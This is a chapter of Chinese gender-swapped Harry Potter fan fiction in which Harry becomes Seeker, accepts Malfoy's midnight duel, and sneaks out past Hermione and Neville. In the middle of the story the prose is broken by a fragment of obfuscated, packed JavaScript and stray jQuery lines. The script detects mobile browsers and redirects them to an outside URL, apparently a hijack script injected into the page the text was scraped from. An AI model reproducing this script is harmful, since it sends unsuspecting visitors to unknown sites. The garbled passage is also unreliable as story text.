感谢梅林，麦格教授不是想要把她赶出霍格沃茨，她将哈莉介绍给伍德，去做格兰芬多的新任找球手。
长桌上，罗妮的嘴张成“O”字形，兴奋地朝哈莉说：“开玩笑吗，哈莉？一年级从来不能参加魁地奇杯，你一定是这么多年来最年轻的找球手了！”
“准确地说——是一个世纪以来。”哈莉嘴上没停，咬了一口鸡翅，补充道：“我爸爸以前也为格兰芬多魁地奇队效力，麦格教授告诉我的。”
罗妮呆呆地看着哈莉，猛地给了她一下。
“你干嘛！”哈莉惊恐地看着她。
“不是梦啊……”
那个漂亮的红发小妞面上渐渐浮现出一个猖狂的笑容，蓝眼睛深情凝望着她：“我爱你，哈莉。我的朋友是个天才！”
哈莉：……
“我也爱你。”
“但下次别打我了，罗妮，你手劲儿真的很大。”
弗雷德和乔治走进礼堂，他们一下子就看到了哈莉——她和他们的妹妹紧挨着，两人共同分食一只鸡，他俩敢打赌，旁边的西莫一个鸡腿儿鸡翅膀都没拿到，没人能从他们贪食的小妹妹那儿抢走一只、哪怕一只鸡腿，而根据近日观察，哈莉对鸡的各个零件也是来者不拒。
天呐，她们真是绝配，不是吗？
“干得不错，小家伙！”一个绕到哈莉身后，低声说：“伍德都告诉我们了，现在我们是一个队的啦！”
“我跟你说，今年我们一定要拿下魁地奇杯——斯莱特林都蝉联六届了——自从查理走后，我们就没赢过。弗林特那个阴险小人脸都要笑烂了。但今年不一样，哈莉——”另一个的脸怼得很近：“我们有你，一定能打得他们个落花流水。伍德对你期望很大，他几乎是跳着告诉我们这个的！”
“我们得走了，李·乔丹说他新发现了一个直通校外的密道。”
“我敢说就是我们第一周找到的那条，就在格雷戈里雕像后面。”
他俩勾肩搭背得往回走，一个转过来对哈莉挥挥手：“回见！”
弗雷德和乔治前脚刚走，不受待见的后脚就来，哈莉擦擦沾了油的手，撑着下巴饶有兴致地看着马尔福在保镖克拉布和高尔的簇拥之下走过来。
“哦，怎么，在享受你最后的晚餐吗？波特，你准备什么时候收拾行李回你的麻瓜世界去？”马尔福语气浮夸，表情乱飞。
“恐怕让你失望了，亲爱的。”
哈莉摊开手，做出一个无奈的表情：“很明显我还有很长时间才能和我在霍格沃茨的最后一顿约会了，时光漫长啊，说不定是七年，你什么时候毕业来着？啊……七年后。真巧，我们大概要共享同一顿最后一餐了，说不定是每一餐。”
德拉科·马尔福那张脸沉得能滴水，看来是被哈莉恶心到了。
“给她点颜色瞧，德拉科！”克拉布说。
“让她知道马尔福的厉害！”这回是高尔。
罗妮吃掉最后一口鸡腿肉，坐在哈莉身侧仔细地擦手，眼睛死死地盯着他们。
马尔福皱着眉开口：“今天晚上，我们两个来一场巫师之间的决斗，敢不敢？只用魔杖，禁止接触，怎么样？我看你恐怕连决斗是什么都不知道吧。”
“她当然知道，”罗妮站起来，走到哈莉身侧，冷冷地说：“我就是她的助手，你的呢，马尔福？”
马尔福在他的两个跟班中犹豫了一下，选了克拉布。
他们约定好在奖品陈列室见面，就在午夜。
马尔福转身的那个瞬间，哈莉叫住他。
“喂，马尔福——你要是不出现，我就当你是个逃兵，彻头彻尾的懦夫，从此以后，见到我的面，你都给我夹紧尾巴做人。明白吗？”
马尔福脸沉得更吓人了，他像是把字都卡进嗓子眼儿里一样，每个音节都清晰用力得可怕：“我们不见不散，波特。”
他们走后，罗妮坐回哈莉身边，哈莉眨着眼睛问她：“巫师决斗我大概明白，但你是我的助手，这是什么意思？”
“意思就是，你死了，我顶上。”罗妮轻描淡写地说。
她又开始分尸那只美味的烤鸡，把剩下的那个鸡腿放到哈莉的盘子里，鸡的两根翅膀已经在她胃里团聚了。
哈莉扭头看着罗妮，从未有一刻像现在这样，觉得维罗尼卡·韦斯莱的身形如此高大——她太酷了。
“打扰一下——”
一道突兀的声音终止了她们的对话，罗妮和哈莉抬起头——是赫敏。
“能不能让人消停会儿！”罗妮放下刀叉，不耐烦地说。
赫敏没有理她，自顾自对哈莉说：“我不小心听到了你们和马尔福的对话——”
“真的吗，不是吧？”
罗妮翻了个白眼，一刀插在鸡脖子上：“我就知道！”
赫敏接着说：“你们真的要和马尔福决斗吗？我是说，半夜偷偷溜出去，那会给格兰芬多扣多少分——想想吧，你们肯定会被抓住——你真太自私了！”
“我想这与你无关。”哈莉拿起罗妮给她的鸡翅。
她完全理解罗妮了，不怪她不喜欢格兰杰，格兰杰自作聪明、死脑筋、多管闲事，从她今天在飞行课上的表现就能看出来，她再也不会想着让她俩关系好一点了，她将永远忠诚地信服维罗尼卡·韦斯莱的眼光，不给她讨厌的人一个好脸。
在这种剑拔弩张的气氛中，罗妮说：‘Goodbye.’
在寝室看见赫敏·格兰杰的那一瞬间，罗妮要被气炸了。
她明明说的是‘Goodbye’而不是‘See you’，怎么又看见这个讨厌的花栗鼠！梅林的大板牙啊，麦格教授会允许她们换宿舍吗？
哈莉同样僵着一张脸，有格兰杰这个好学生在，她们怎么能溜出格兰芬多塔楼，恐怕连房门都出不去。
宿舍里静悄悄的，三个女孩静静躺在床上，哈莉几乎屏住了呼吸，小心翼翼地观察格兰杰——她的床离门最近，她们想要溜出去，是一定绕不开她的。
她转头看罗妮，罗妮那双大大的蓝眼睛从被子里露出来，对哈莉做了个口型：怎么办。
哈莉皱着眉毛，苦思冥想，慢慢支起半个身子，蹑手蹑脚地准备下床。
就在此时，赫敏格兰杰转过来，恶狠狠地看着她们：“别想出去！”
两人：！！！
哈莉一下子就缩回了被窝，像具尸体一样一动不动平躺着盯着天花板。
时钟已经指向了夜晚11：15分，她们得抓紧时间了。
“吱——”
一个灰色的物体从罗妮床上飞跃，横跨大半个房间，精准落在赫敏的床上——斑斑！
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405249|168746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“啊！”
赫敏猛地从床上弹起，喉间发出一声凄厉的尖叫。
就在这时，哈莉和罗妮抓准时机，冲出宿舍，她们不敢停下，头也不回地奔跑，穿过走廊、楼梯、公共休息室，推开胖夫人的画像，像斑斑冲进赫敏的床铺那样，一头扎进出口——
她们成功了！
哈莉和罗妮看着彼此紧张到潮红的脸，扑哧一下笑出声。
“英勇的斑斑——”她们齐声说。
她们两个不敢太大声，费尔奇和他的洛丽丝夫人总是神出鬼没，你永远也不知道他是否会在下一秒从哪一个角落里提着灯冒出来，露出一口黄牙朝你阴森地笑。
两个人几乎是踮起脚尖在走路，夜里挺黑的，也很安静，一根针掉在地上都能听见，更不用说是一阵“吭哧吭哧”的喘息声。
哈莉和罗妮对视一眼，小心翼翼地朝那发出声响的地方看去——是纳威，他蜷缩在地板上，睡得正香。
该死，怎么哪儿都有人！哈莉在心里骂道。
她想从纳威身侧绕过去，可是没用，她刚一靠近他就醒了。
“谢天谢地，你们找到我了！”
“嘘——小声点！”哈莉“欻”一下就把纳威的嘴捂上了。
“你想把费尔奇引来吗？”
纳威那双圆溜溜的蓝眼睛惊恐地张着，脑袋摇得跟个筛子似的。
在确认过他不会再多说什么话以后，哈莉慢慢把手放下，小声对纳威说：“你怎么在这儿？被谁欺负赶出来了还是压根儿就不记得口令？”
“口令……”纳威低下头，窘迫地说。
“好的，纳威，听着，口令是‘猪鼻子’，现在，赶紧回去睡觉吧，迪恩在宿舍等你呢。”
“哦，好的，谢谢你，哈莉。”
纳威站起来，摸了摸脑袋，慢吞吞地朝格兰芬多塔楼的入口走去。
“可是，哈莉，维罗尼卡——你们怎么在这儿？”他回过头看她们，皱着脸疑惑地问。
她们一下子就僵在那儿了，不知道要说些什么。
罗妮看了看表，指针已经走到11：27，她向哈莉示意。两个人成功甩掉了赫敏·格兰杰，却对着纳威犯起了愁。
“是这样，纳威——”
哈莉眼珠一转，善意的谎言在心里升起：“我们在公共休息室看见迪恩，他说你不见了，刚好罗妮有点肚子疼，打算去找庞弗雷夫人瞧瞧。于是我们想着，为什么不在去医疗翼的路上顺便找找你呢？”
罗妮心领神会，一下子捂住肚子，虚弱地扶着墙蹲到地上：“嗷，哈莉，我真的好疼！”
纳威的眉毛一下子就舒展了，他体贴地对罗妮说：“别担心，维罗尼卡，庞弗雷夫人医术很好，你瞧，我的胳膊，她一下子就给我治好了。”
他伸出飞行课上受伤的那只胳膊，展示给罗妮看。
罗妮虚弱地点点头，哈莉把她从地上扶起来，抱歉地说：“我们很想送你进去，纳威。可是你看，罗妮真的很难受，我们得走了，你也快进去吧。”
纳威点头表示理解，和她们道别，小跑着进了塔楼。
等到他的身影彻底消失在她俩的视线范围后，罗妮长舒一口气，朝哈莉竖起大拇指：“真的，哈莉，绝了！”
哈莉调皮地眨了眨眼：“你也不赖啊，小影后。”